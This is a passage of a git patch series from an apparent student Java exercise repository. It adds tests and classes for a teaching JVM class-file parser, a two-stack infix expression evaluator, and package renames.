+import com.coderising.jvm.method.Method;
 
 public class ClassFileloaderTest {
 
@@ -195,4 +199,79 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+   	
+
 }
+
diff --git a/group06/1378560653/src/com/coding/basic/array/ArrayList.java b/group06/1378560653/src/com/coding/basic/array/ArrayList.java
index 9fd1e776cc..ab2c9d3f21 100644
--- a/group06/1378560653/src/com/coding/basic/array/ArrayList.java
+++ b/group06/1378560653/src/com/coding/basic/array/ArrayList.java
@@ -76,7 +76,7 @@ private ArrayListIterator(ArrayList arraylist) {
 		}
 		@Override
 		public boolean hasNext() {
-			pos ++;
+			pos++;
 			if(pos >= size){
 				return false;
 			}else{
diff --git a/group06/1378560653/src/com/coding/basic/stack/expr/InfixExpr.java b/group06/1378560653/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..b081b056a6
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,98 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Stack;
+
+/*
+ * 中序表达式求值
+ * 1.只支持加减乘除，不支持括号
+ * 2.表达式中只支持int,结果可能是float
+ * 3.用2个栈实现：一个运算符栈，一个操作数栈
+ */
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+	
+	public float evaluate() {		
+		Stack<Character> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		int i = 0;
+		while(i < expr.length()){
+			char c = expr.charAt(i);
+			if(isOperator(c)){
+				if(opStack.isEmpty()){
+					opStack.push(c);
+				} else { 
+					char preOperator = opStack.peek();
+					if(ComparePriority(c,preOperator) > 0){
+						opStack.push(c);
+					} else {
+						float num2 = numStack.pop();
+						float num1 = numStack.pop();
+						numStack.push(calculate(opStack.pop(),num1,num2));
+						opStack.push(c);
+					}
+				}
+				i++;
+			}
+			if(isNumber(c)){
+				String str = String.valueOf(c);
+				i++;
+				while(i < expr.length() && isNumber(expr.charAt(i))){
+					str += expr.charAt(i);
+					i++;
+				}
+				numStack.push(Float.parseFloat(str));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			float num2 = numStack.pop();
+			float num1 = numStack.pop();
+			numStack.push(calculate(opStack.pop(),num1,num2));
+		}
+		float result = numStack.pop();
+		return result;
+	}
+
+	private Float calculate(char c, float num1, float num2) {
+		if(c == '+'){
+			return num1+num2;
+		}
+		if(c == '-'){
+			return num1-num2;
+		}
+		if(c == '*'){
+			return num1*num2;
+		}
+		if(c == '/'){
+			return num1/num2;
+		}
+		return null;
+	}
+
+	private int ComparePriority(char c, char preOperator) {
+		if((c == '/' || c == '*')&&(preOperator == '+' || preOperator == '-')){
+			return 1;
+		}
+		return -1;
+	}
+
+	private boolean isNumber(char c) {
+		if(c >= '0' && c <= '9'){
+			return true;
+		}
+		return false;
+	}
+
+	private boolean isOperator(char c) {
+		if(c == '+' || c == '-' || c == '*' ||c == '/'){
+			return true;
+		}
+		return false;
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expr/InfixExprTest.java b/group06/1378560653/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20f52b4c63
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}

From e4681dd40c36a140d4b7799891353e5edb0dd2e2 Mon Sep 17 00:00:00 2001
From: kai <kaideguo@gmail.com>
Date: Sun, 16 Apr 2017 16:05:41 +0800
Subject: [PATCH 085/262] =?UTF-8?q?=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group06/1378560653/article.txt | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/group06/1378560653/article.txt b/group06/1378560653/article.txt
index 5d908b43c6..2957d8601c 100644
--- a/group06/1378560653/article.txt
+++ b/group06/1378560653/article.txt
@@ -1,3 +1,5 @@
+ÿ������
+--------------------------------------------------------------------
 ��һƪ���£�http://blog.csdn.net/raymond120/article/details/57415472
 �ڶ�ƪ���£�http://blog.csdn.net/raymond120/article/details/58043040
 ����ƪ���£�http://blog.csdn.net/raymond120/article/details/60759278

From d30b770a3d24221b3c3e16d5c3878d522a82be82 Mon Sep 17 00:00:00 2001
From: xiaobo <begin161109@163.com>
Date: Sun, 16 Apr 2017 21:36:40 +0800
Subject: [PATCH 086/262] refactor
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

重构
---
 .../src/com/coderising/jvm/Method/Method.java |  99 ++++++++++++++
 .../coderising/jvm/attr/AttributeInfo.java    |  23 ++++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 124 ++++++++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  71 ++++++++++
 .../jvm/attr/LocalVariableItem.java           |  42 ++++++
 .../jvm/attr/LocalVariableTable.java          |  60 +++++++++
 .../coderising/jvm/attr/StackMapTable.java    |  32 +++++
 .../src/com/coderising/jvm/field/Field.java   |  53 ++++++++
 .../jvm/loader/ByteCodeIterator.java          |  18 +++
 .../jvm/test/ClassFileloaderTest.java         |   2 +-
 .../{first => dataStructure}/ArrayList.java   |   2 +-
 .../BinaryTreeNode.java                       |   2 +-
 .../{first => dataStructure}/Iterator.java    |   2 +-
 .../LRU}/LRUPageFrame.java                    |   2 +-
 .../LRU}/LRUPageFrameTest.java                |   2 +-
 .../LRU}/LinkedList.java                      |   6 +-
 .../{first => dataStructure}/LinkedList.java  |   2 +-
 .../com/{first => dataStructure}/List.java    |   2 +-
 .../com/{first => dataStructure}/Queue.java   |   2 +-
 .../com/{first => dataStructure}/Stack.java   |   2 +-
 .../{first => dataStructure}/StackUtil.java   |   2 +-
 .../arrayList}/ArrayUtil.java                 |   2 +-
 .../arrayList}/ArrayUtilTest.java             |   4 +-
 .../src/com/dataStructure/expr/ExprParse.java |  79 +++++++++++
 .../src/com/dataStructure/expr/InfixExpr.java | 100 ++++++++++++++
 .../com/dataStructure/expr/InfixExprTest.java |  51 +++++++
 .../src/com/dataStructure/expr/Token.java     |  25 ++++
 .../linkedList}/Iterator.java                 |   2 +-
 .../linkedList}/LinkedList.java               |   2 +-
 .../linkedList}/List.java                     |   2 +-
 .../test/StackUtilTest.java                   |   6 +-
 .../test/TestArrayList.java                   |   6 +-
 .../test/TestLinkedList.java                  |   6 +-
 .../DownloadThread.java                       |   6 +-
 .../FileDownloader.java                       |  13 +-
 .../FileDownloaderTest.java                   |   7 +-
 .../api/Connection.java                       |   2 +-
 .../api/ConnectionException.java              |   2 +-
 .../api/ConnectionManager.java                |   2 +-
 .../api/DownloadListener.java                 |   2 +-
 .../impl/ConnectionImpl.java                  |   9 +-
 .../impl/ConnectionManagerImpl.java           |  10 +-
 .../{second => parseStruts}/LoginAction.java  |   2 +-
 .../{second => parseStruts}/StringUtil.java   |   2 +-
 .../com/{second => parseStruts}/Struts.java   |   3 +-
 .../{second => parseStruts}/StrutsTest.java   |   9 +-
 .../src/com/{second => parseStruts}/View.java |   3 +-
 .../349184132/Study/src/com/second/struts.xml |  11 --
 48 files changed, 838 insertions(+), 80 deletions(-)
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/Method/Method.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/field/Field.java
 rename group04/349184132/Study/src/com/{first => dataStructure}/ArrayList.java (98%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/BinaryTreeNode.java (98%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/Iterator.java (75%)
 rename group04/349184132/Study/src/com/{coding/basic/linklist => dataStructure/LRU}/LRUPageFrame.java (98%)
 rename group04/349184132/Study/src/com/{coding/basic/linklist => dataStructure/LRU}/LRUPageFrameTest.java (95%)
 rename group04/349184132/Study/src/com/{coding/basic/linklist => dataStructure/LRU}/LinkedList.java (97%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/LinkedList.java (99%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/List.java (86%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/Queue.java (94%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/Stack.java (95%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/StackUtil.java (99%)
 rename group04/349184132/Study/src/com/{second/Array => dataStructure/arrayList}/ArrayUtil.java (99%)
 rename group04/349184132/Study/src/com/{second/Array => dataStructure/arrayList}/ArrayUtilTest.java (96%)
 create mode 100644 group04/349184132/Study/src/com/dataStructure/expr/ExprParse.java
 create mode 100644 group04/349184132/Study/src/com/dataStructure/expr/InfixExpr.java
 create mode 100644 group04/349184132/Study/src/com/dataStructure/expr/InfixExprTest.java
 create mode 100644 group04/349184132/Study/src/com/dataStructure/expr/Token.java
 rename group04/349184132/Study/src/com/{linked => dataStructure/linkedList}/Iterator.java (69%)
 rename group04/349184132/Study/src/com/{linked => dataStructure/linkedList}/LinkedList.java (99%)
 rename group04/349184132/Study/src/com/{linked => dataStructure/linkedList}/List.java (91%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/test/StackUtilTest.java (95%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/test/TestArrayList.java (88%)
 rename group04/349184132/Study/src/com/{first => dataStructure}/test/TestLinkedList.java (92%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/DownloadThread.java (92%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/FileDownloader.java (92%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/FileDownloaderTest.java (83%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/api/Connection.java (92%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/api/ConnectionException.java (80%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/api/ConnectionManager.java (83%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/api/DownloadListener.java (65%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/impl/ConnectionImpl.java (85%)
 rename group04/349184132/Study/src/com/{coderising/download => multiThreadDownload}/impl/ConnectionManagerImpl.java (75%)
 rename group04/349184132/Study/src/com/{second => parseStruts}/LoginAction.java (97%)
 rename group04/349184132/Study/src/com/{second => parseStruts}/StringUtil.java (97%)
 rename group04/349184132/Study/src/com/{second => parseStruts}/Struts.java (98%)
 rename group04/349184132/Study/src/com/{second => parseStruts}/StrutsTest.java (96%)
 rename group04/349184132/Study/src/com/{second => parseStruts}/View.java (93%)
 delete mode 100644 group04/349184132/Study/src/com/second/struts.xml

diff --git a/group04/349184132/Study/src/com/coderising/jvm/Method/Method.java b/group04/349184132/Study/src/com/coderising/jvm/Method/Method.java
new file mode 100644
index 0000000000..488d66869c
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/Method/Method.java
@@ -0,0 +1,99 @@
+package com.coderising.jvm.Method;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+
+
+
+    public String toString() {
+
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder buffer = new StringBuilder();
+
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        buffer.append(name).append(":").append(desc).append("\n");
+
+        buffer.append(this.codeAttr.toString(pool));
+
+        return buffer.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+        int accessFlag = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descIndex = iter.nextU2ToInt();
+        int attribCount = iter.nextU2ToInt();
+
+
+        Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+        for( int j=1; j<= attribCount; j++){
+
+            int attrNameIndex = iter.nextU2ToInt();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iter.back(2);
+
+            if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+                m.setCodeAttr(codeAttr);
+            } else{
+                throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+            }
+
+        }
+
+        return m ;
+
+    }
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/AttributeInfo.java b/group04/349184132/Study/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..6ea1bb367b
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+
+public abstract class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCEPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex, int attrLen) {
+
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/CodeAttr.java b/group04/349184132/Study/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..b6711ba618
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,124 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack ;
+    private int maxLocals ;
+    private int codeLen ;
+    private String code;
+    public String getCode() {
+        return code;
+    }
+
+    //private ByteCodeCommand[] cmds ;
+    //public ByteCodeCommand[] getCmds() {
+    //	return cmds;
+    //}
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+        int attrNameIndex = iter.nextU2ToInt();
+        int attrLen = iter.nextU4ToInt();
+        int maxStack = iter.nextU2ToInt();
+        int maxLocals = iter.nextU2ToInt();
+        int codeLen = iter.nextU4ToInt();
+
+        String code = iter.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        //ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+
+        int exceptionTableLen = iter.nextU2ToInt();
+        //TODO 处理exception
+        if(exceptionTableLen>0){
+            String exTable = iter.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table , just ignore it :" + exTable);
+
+        }
+
+
+        int subAttrCount = iter.nextU2ToInt();
+
+        for(int x=1; x<=subAttrCount; x++){
+            int subAttrIndex = iter.nextU2ToInt();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            //已经向前移动了U2, 现在退回去。
+            iter.back(2);
+            //line item table
+            if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+
+                LineNumberTable t = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(t);
+            }
+            else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+                LocalVariableTable t = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(t);
+            }
+            else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+                StackMapTable t = StackMapTable.parse(iter);
+                codeAttr.setStackMapTable(t);
+            }
+            else{
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+
+
+        }
+
+        return codeAttr;
+    }
+
+
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Code:").append(code).append("\n");
+		/*for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}*/
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+
+
+
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/LineNumberTable.java b/group04/349184132/Study/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..3b74b82676
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem{
+        int startPC;
+        int lineNum;
+        public int getStartPC() {
+            return startPC;
+        }
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+        public int getLineNum() {
+            return lineNum;
+        }
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+    public void addLineNumberItem(LineNumberItem item){
+        this.items.add(item);
+    }
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter){
+
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+
+        LineNumberTable table = new LineNumberTable(index,len);
+
+        int itemLen = iter.nextU2ToInt();
+
+        for(int i=1; i<=itemLen; i++){
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLineNum(iter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    public String toString(){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for(LineNumberItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("lineNum:"+item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
+
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableItem.java b/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..98ef0c3de8
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+    public int getStartPC() {
+        return startPC;
+    }
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+    public int getLength() {
+        return length;
+    }
+    public void setLength(int length) {
+        this.length = length;
+    }
+    public int getNameIndex() {
+        return nameIndex;
+    }
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+    public int getDescIndex() {
+        return descIndex;
+    }
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+    public int getIndex() {
+        return index;
+    }
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableTable.java b/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..ab6dcd04f2
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+        this.items.add(item);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter){
+
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+
+        LocalVariableTable table = new LocalVariableTable(index,len);
+
+        int itemLen = iter.nextU2ToInt();
+
+        for(int i=1; i<=itemLen; i++){
+            LocalVariableItem item = new LocalVariableItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLength(iter.nextU2ToInt());
+            item.setNameIndex(iter.nextU2ToInt());
+            item.setDescIndex(iter.nextU2ToInt());
+            item.setIndex(iter.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+        return table;
+    }
+
+
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Local Variable Table:\n");
+        for(LocalVariableItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/attr/StackMapTable.java b/group04/349184132/Study/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..ec6a8b3475
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.attr;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static StackMapTable parse(ByteCodeIterator iter){
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+        StackMapTable t = new StackMapTable(index,len);
+
+        //后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+        String code = iter.nextUxToHexString(len);
+        t.setOriginalCode(code);
+
+        return t;
+    }
+
+    private void setOriginalCode(String code) {
+        this.originalCode = code;
+
+    }
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/field/Field.java b/group04/349184132/Study/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..6d1e5dd02a
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,53 @@
+package com.coderising.jvm.field;
+
+/**
+ * Created by wang on 2017/4/16.
+ */
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+
+
+    private ConstantPool pool;
+
+    public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.pool = pool;
+    }
+
+    public String toString() {
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+        return name +":"+ desc;
+    }
+
+
+    public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+
+        int accessFlag = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descIndex = iter.nextU2ToInt();
+        int attribCount = iter.nextU2ToInt();
+        //System.out.println("field attribute count:"+ attribCount);
+
+        Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+
+        if(attribCount > 0){
+            throw new RuntimeException("Field Attribute has not been implemented");
+        }
+
+        return f;
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
index a91c3f49b3..a5fc48cf2c 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
